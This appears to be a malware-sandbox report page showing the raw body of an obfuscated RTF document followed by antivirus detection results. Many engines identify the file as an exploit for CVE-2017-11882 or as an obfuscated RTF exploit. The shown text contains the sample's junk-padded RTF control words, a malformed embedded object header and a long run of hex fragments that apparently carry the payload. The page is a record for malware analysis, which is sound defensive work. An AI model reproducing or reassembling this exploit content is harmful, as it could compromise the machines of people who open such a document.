Static | ZeroBOX
{\rtf1
{\*\xmltagopen937581295 \!}
{\4395433624'`
18&:?_.?_^5^.
3+:07!
?:'/9?_7'=!%`]'+?
%'+>|@;69]'`@%0]^=`:0?)78
~?39>_3[_[@)
?2._$3
*?:%87^
[.&)&|5//^]3
2`?3?]4=><$'@67
?1<%@[~@
~>~,*70|]2
^6@3$%/
(]7@>4~4&)1^!?.4#-_]?*%[.<~'5,:#0
9+8_3$<|./~?%/-?.|
7@/079)$~3>:!&7-1]??3%<!:
90*>,?<@:`??
@>=(')5$?|:|
)6]-,+].?%[5<:9/5?_0?_0[%%`6;8
7[8~!7
,>$%()-:>36??#@.]<;?=^#;0`.2(<?0>1!:#0?.9?_+24(=`/+|>6+[~$??1_?,<^??]?<,+>4?=%1,9??&??(~01?(?;
$^7'87=?/2#'?
/?!>1!,*?)9?(1
:/*+-2%]?.;./>$>!:_7?@3$<6'_%@#./0?~^3!|#&^)|6_5?-
+-!'-/<):,7831$.!2'(?#??=?
?`%-3/709<<)
??(5.#.,6
23??/)_
]*%1+7-?`=5`??|1+|8
><%6$`)?8_-#9_?^0
_?*]:]'1[#_`^,+9#8@?00[3:9&49>
,%(:,$?_&^0'$-%;.(
<[,%??
9^2!%99(6/
14;1<?00?|+!6<4?
]^69?)7#52(7(&>@'~3$2.'7_??;&?^?.</@<-'@?|]%=
(.)@9?!+8?=/87!#`[%99?#,%?:?|7;]?8?3%~=??<?|]!.?[0^!'>)?,?59?$+*6<`%(6&>
_%-??8~#)<0?*~2%^~0
?>./<@]#_9'00
-037)';#*70~'
??%?@7`2%2
:9,+,$#,/(&.].&7?.[1%;;^49=?;
@>3*</$?<?5_'79
?)[*6'2...-/-8;5|?9'^!1
[^<4#6|?^3)<984!??!5^)%*9<6?^%
?4.*?/%1?&9?*_79.<,%;/'01!30<:989/1@56_2?4|`&=^6%?%+|~?_|6%=`68=-$?+!5/
)|+@?8^=?5_<$?6_0<1[?+?9!?|210]%+:0&5??'-?*%39'>
+)^]/&;@~9*)<?<
*,???0=17
!5+3!#$2+>
?2@(2(+#')<+/8>763
????[)!700;6~
#*+[,3-%*\object95248881\objautlink37990001\objw5011\objh8875{\objupdate41374137\*\objdata919861{\*\atntime127258177 \bin0\772077853441143269}
{\*\fonttype721688027 \bin000\633199389878652687}
\ogutter7401547735744\doctype623454\'
{\object\KTEXKUKObitllokyxqcjlppyxzb53346696663385KTEXKUKObitllokyxqcjlppyxzb{\crftawbhejyoxyilXEBFYDHRMVHSJLTLXPIATVPPYRGIAWK99972938408312095191344crftawbhejyoxyilXEBFYDHRMVHSJLTLXPIATVPPYRGIAWK9569524795150845}}
\bin000
eb50
00
0045
75617
0000
000
fc0
b978b
7bf
4d1
8b
a329
564e
b6d0
014
008c4
f75ec
2
e5b7
c509
b0
6c782
bf
3f3bd0
0f65
ae4d
4
e0
34bffa
fc
c52fa
7dc
597
d2b
a27e7
3b4d
06b
b
76a
dcf
763
96
2e672
308c27
92
5a2f72
4
5888
b
b
8
24
aa3
a
da6be
ad
9e9a
4b
05
7
8
3
28
a0c
aff
b0ea8
d
7
695
8417d
e
a
bc8
6
a2
a9
f
cc
fc
e9
e801000
038fb4
1527f75
d
f
4016
6
19b
42803
1445
e2
05c2
e4695d2e2
a998
e053
98
efb7
a58
689921
f3235
fce
d4a
43
02
3b5
c17
8fc
9
61b
91fbdc
1
35897
8
93
9
5
1
378acf4a
1
e131
e0d
1
bf
b
7
2
0
67
3b
9899
80
db
1a
ea
7290c1
160
fa
475eeb
a1eb29e
b
e7
f8c6f76
79
58b
7b25
d85f
1d5889
47b
f2bc
7e8f5d
9b78
70d
bc
8fa54
c
ac468c
52a9
d978
a
97
807
763
246
b
8f5
0e5807
03a1
5be9d
590300
05
0000
000
0e9f102000
0000e
72c8
4000
000eb
9f
000e901
e92f
00eba6
5
90330
7c0
05f5a5a9
9bf00
1010
ffffe9
9c
0
20
2fe
000eba
53
8d80a
0
9f1feff
fffe96
0000e9
00
ff313
1e
fffffe9
ae9f4
000e920
1ef95
b
f8f2
7d
ffffe
9e3
f
f9c50532
9
010
000e9f
b093a38
0000e939
9bbfd
ffffffeb
9e9fcfd
feff
9cafd
eb37e
3ffff
ffe93a0
92f
ffe
9f
9c1
91fd
e96a
fe995fd
83730000
7
30
dffffe9
0eb
93d8a40
5681
c6bc6a0
80000
320000
05e5f9d
fe99dfc
cffffeb5ee9
e73824
ffe
fffeb9
e929ffffff
79f
e9eb
ffe95ef
effc
00f82
fcf
357bbf6
76af
da5
d686
9
8079
e6ef
d55
37a
2ab
29
ff614de
51719e2
ad954c
3
317ded158f8
56c074f68a91
78
1d4bb
40d
d29a50
9c8306
4350e192
31d51596ef00b
b9338
4481b
d
b0e422
e25624
74c
d4b64
e
f77
231a5
553
27325
4faf87074aa
1217a
83f3be5
39535b
4d8d0
d7136b
228
4d
4f
10aac7
1
5325fe1e2
b655e6a0
39bc58
1d7a4
3268de
300ce4
87ff4cc
604026
cea5d
2e5f15
00000
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!B668C0905C4E
MAX malware (ai score=80)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
Panda Clean
CrowdStrike Clean
No IRMA results available.